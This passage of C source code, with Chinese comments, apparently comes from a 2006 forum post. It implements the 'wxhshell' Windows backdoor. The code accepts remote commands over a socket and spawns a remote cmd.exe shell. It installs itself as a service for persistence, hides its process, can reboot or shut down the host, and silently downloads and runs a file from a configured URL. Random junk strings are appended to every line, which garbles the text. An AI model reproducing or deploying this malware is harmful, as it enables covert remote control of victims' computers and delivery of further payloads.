  // 帮助 JB]q   
  case '?': { ly_HWuFJ3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .I0qGg  
    break; Jk=I^%~  
  } <oA7'|Bu<  
  // 安装 2OR{[L*  
  case 'i': { b:]V`uF?  
    if(Install()) T\j{Bi5 \J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8jo p_PG'  
    else 90*5 5\>{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k:F9. j%*  
    break; kH7(@Pa  
    } 3e;^/kf<9  
  // 卸载 ]B3=lc"  
  case 'r': { Vi]W|bP  
    if(Uninstall()) kbMWGB%;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OO*zhGD;[  
    else d,Yw5$i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P&ptJtNg  
    break; RM]M@%,K  
    } B s#hr3h-  
  // 显示 wxhshell 所在路径 .|b$NM  
  case 'p': { K<ft2anY5  
    char svExeFile[MAX_PATH]; K<qk.~ S  
    strcpy(svExeFile,"\n\r"); +:!7L= N#  
      strcat(svExeFile,ExeFile); 27O|).yKX  
        send(wsh,svExeFile,strlen(svExeFile),0); @ H7d_S  
    break; F{~{Lthc  
    } ,UGRrS  
  // 重启 %r}{hq4  
  case 'b': { bITPQ7+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KZ ;k)O.Ov  
    if(Boot(REBOOT)) ,J^b0@S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "haL  
    else { dj7hx"BI  
    closesocket(wsh); 6GSI"M6s  
    ExitThread(0); LzXmb 7A  
    } %9N7Ln|%  
    break; i}mVQ\j5  
    } RcM/!,B  
  // 关机 ?Unb? {,&2  
  case 'd': { :f}9($  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,<tX%n`v=  
    if(Boot(SHUTDOWN)) n; +LH9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Wp{ [TH  
    else { nv%rJy*w[  
    closesocket(wsh); X#TQ_T"  
    ExitThread(0); lG!|{z7+0  
    } p&bROuw<T  
    break; S^>,~R.TX  
    } MLje4  
  // 获取shell ke]Lw  
  case 's': { rrqR}}l  
    CmdShell(wsh); 4Thn])%I  
    closesocket(wsh); Ix!Iw[CNd  
    ExitThread(0); L>W'LNXCv  
    break; n%C>E.Tq  
  } NS%xTLow-  
  // 退出 IE&!YP(U(  
  case 'x': { Vp*KfS]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F6OpN "UM'  
    CloseIt(wsh); m)v"3ib  
    break; Nj xoTLI  
    } Ba*,-i3ZK  
  // 离开 m4&h>9. 8  
  case 'q': { gL[yA?GoM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !GLz)#SBl  
    closesocket(wsh); ,)Ju[  
    WSACleanup(); 9N<<{rQ,F  
    exit(1); o-{[|/)Tk  
    break; Ov4y %Pj  
        } o( RG-$  
  } =/Mq5.  
  } -pa )K"z  
?_$=l1vf  
  // 提示信息 y?m/*hh`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G_{&sa  
} 6@e+C;j =  
  } 8U>B~9:JO  
L[H5NUG!  
  return; KJ=6n%6  
} 6c"0})p  
Co9QW/'i  
// shell模块句柄 hMUs" <.  
int CmdShell(SOCKET sock) V_RTI.3p  
{ dC $Em@Nb  
STARTUPINFO si; d`nVc50  
ZeroMemory(&si,sizeof(si)); XZJ+h,f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <2|O:G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q6AC(n@:FV  
PROCESS_INFORMATION ProcessInfo; 8XzR wYV  
char cmdline[]="cmd"; L ugn 3+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rhz_t@e  
  return 0; W?aI|U1  
} RGg(%.  
n'01Hh`0  
// 自身启动模式 oA7;.:3  
int StartFromService(void) V7[zAq  
{ LbG_z =A  
typedef struct J'fQW<T4wU  
{ jbu8~\"  
  DWORD ExitStatus; 8p9bCE>\  
  DWORD PebBaseAddress; #u"k~La  
  DWORD AffinityMask; P%=#^T&`}  
  DWORD BasePriority; '0uh D.|G  
  ULONG UniqueProcessId; ZF|+W?0&%  
  ULONG InheritedFromUniqueProcessId; >`wV1^M6?  
}   PROCESS_BASIC_INFORMATION; [}8|R0KF  
2?,EzBeal  
PROCNTQSIP NtQueryInformationProcess; "D'B3; uWK  
I8/DR z$A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n;U`m$vL%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tekfw  
h0-hT   
  HANDLE             hProcess; Zh*u(rO  
  PROCESS_BASIC_INFORMATION pbi; Z@&Dki  
Ucm :S-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nwt" \3  
  if(NULL == hInst ) return 0; Bj}^\Pc;}  
{>,V\J0p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); + 33@?fl.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %Gj8F4{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '|*?*6q  
Yd=a}T  
  if (!NtQueryInformationProcess) return 0; 9^Whg ~{  
>teO m?@U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \ZhfgE8{%  
  if(!hProcess) return 0; ~r$jza~o(  
]Xf% ,iu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (85Fv&a  
IWveW8qJ  
  CloseHandle(hProcess); E3l> 3  
_~tEw.fM5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0=q;@OIf  
if(hProcess==NULL) return 0; * U$!I?  
2aB^WY'tC  
HMODULE hMod; B`o]*"xkB  
char procName[255]; 0i|oYaC  
unsigned long cbNeeded; rBTeb0i?  
C2xL1`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )+"'oY$]}  
|t) }VM%  
  CloseHandle(hProcess); !x>%+&c>k  
T?1Du"d8  
if(strstr(procName,"services")) return 1; // 以服务启动 lGk{LO)  
pY~,(s|Qb  
  return 0; // 注册表启动 dT$M y`>  
} f1)x5N  
V$icWu  
// 主模块 D8nD/||;Z  
int StartWxhshell(LPSTR lpCmdLine) 5qkH|*Z3  
{ jfx8EbQ  
  SOCKET wsl; g'u?Rn 7*J  
BOOL val=TRUE; {W~q z^>u4  
  int port=0; pM&YXb?  
  struct sockaddr_in door; V8wKAj Ux  
B Ma)O  
  if(wscfg.ws_autoins) Install(); 7kK #\dI  
~+bGN  
port=atoi(lpCmdLine); +:-57  
^1x*lLf  
if(port<=0) port=wscfg.ws_port; npyAJp  
nG, U>)  
  WSADATA data; >Clh] ;K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XfE -fH1j  
`#QG6/0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    6XJ[h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }^*F59>H  
  door.sin_family = AF_INET; ^o@,3__7Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y<b-9ai<w  
  door.sin_port = htons(port); l?DJJ|>O  
6^n0[7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k@D0 {z  
closesocket(wsl); I3:[= ,5  
return 1; (?kl$~&|  
} <zy,5IlD  
}Jh: 8BNuP  
  if(listen(wsl,2) == INVALID_SOCKET) { Xy5s^82?  
closesocket(wsl); #:|+XLL  
return 1; 9F- )r'  
} 'snn~{hG  
  Wxhshell(wsl); -l-E_6|/W  
  WSACleanup(); u!U"N*Y"  
-MugnB6  
return 0; CBKkBuKuk  
(ihP `k-.  
} <{:  
8dOo Q  
// 以NT服务方式启动 =GBI0&U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z6~ H:k1G%  
{ XJ+6FT/qss  
DWORD   status = 0; %77p5ctW  
  DWORD   specificError = 0xfffffff; @[?!s%*2  
d ~_`M0+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;t> Z+O%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $BDBN_p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $W42vjr4  
  serviceStatus.dwWin32ExitCode     = 0; C#=bW'C  
  serviceStatus.dwServiceSpecificExitCode = 0; ]$ b<Gs  
  serviceStatus.dwCheckPoint       = 0; \mN[gT}LHm  
  serviceStatus.dwWaitHint       = 0; l\!-2 T6Y  
FNQX7O52  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {8EW)4Hf  
  if (hServiceStatusHandle==0) return; ~; OYtz  
25|8nfeC5  
status = GetLastError(); JH]K/sC>  
  if (status!=NO_ERROR) 7ji=E";.w  
{ X#U MIlU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qG9+/u)\  
    serviceStatus.dwCheckPoint       = 0; zMK](o1Vj  
    serviceStatus.dwWaitHint       = 0; p'?w2YN/  
    serviceStatus.dwWin32ExitCode     = status; LDy<k=;o  
    serviceStatus.dwServiceSpecificExitCode = specificError; i~{ _eQV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ])#\_' fg  
    return; UU}7U]9u  
  } w[Ep*-yeI  
r\9TMg`C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }98>5%Uv  
  serviceStatus.dwCheckPoint       = 0; -,":5V26  
  serviceStatus.dwWaitHint       = 0; =S]a&*M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }GnwY97  
} k6?cP0I)5  
<<|H=![  
// 处理NT服务事件,比如:启动、停止 Y ZaP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7/X"z=Q^|  
{ Zq ot{s  
switch(fdwControl) N\1/JW+  
{ I]J*BD#n.  
case SERVICE_CONTROL_STOP: /=#~  
  serviceStatus.dwWin32ExitCode = 0; !m{2WW-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^!;=6}YR  
  serviceStatus.dwCheckPoint   = 0; bYh9sO/l  
  serviceStatus.dwWaitHint     = 0; zyN (4  
  { EZ(^~k=I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Ewo_P&`  
  } SLk2X;c]o  
  return; )3z]f2  
case SERVICE_CONTROL_PAUSE: dyFKxn`,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FX,$_:f6Y  
  break; _8h8Wtif  
case SERVICE_CONTROL_CONTINUE: bn 4 &O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8]0:1 {@  
  break; qGPb  
case SERVICE_CONTROL_INTERROGATE: L]2< &%N2  
  break; 2Q$\KRE  
}; f'dK73Xof  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cc >  
} 0%)5.=6  
~j,TVY  
// 标准应用程序主函数 C'9 1d7E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +3bfD  
{ ? Ekq6uz\)  
H^CilwD158  
// 获取操作系统版本 {B yn{?w  
OsIsNt=GetOsVer(); '%3{jc-}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LnMwx#^*  
,\h YEup  
  // 从命令行安装 <e6=% 9  
  if(strpbrk(lpCmdLine,"iI")) Install(); {=At#*=A  
G79C {|c\  
  // 下载执行文件 J/4y|8T/y  
if(wscfg.ws_downexe) { a|N0(C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J35l7HH  
  WinExec(wscfg.ws_filenam,SW_HIDE); v`G U09   
} #cEq_[yI  
sdF3cX  
if(!OsIsNt) { 2Yyb#Ow  
// 如果时win9x,隐藏进程并且设置为注册表启动 WhUa^  
HideProc();  "jU  
StartWxhshell(lpCmdLine); bBE^^9G=Z  
} U \Dca&=  
else -Q`C q |s  
  if(StartFromService()) iAz UaF  
  // 以服务方式启动 y=o=1(  
  StartServiceCtrlDispatcher(DispatchTable); JY4_v>Aob  
else *=^[VV!  
  // 普通方式启动 oa9)Dv  
  StartWxhshell(lpCmdLine); f Lk"tW  
~{ .,8jE  
return 0; [w%#<5h  
}
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只看该作者 1 发表于: 2006-10-10
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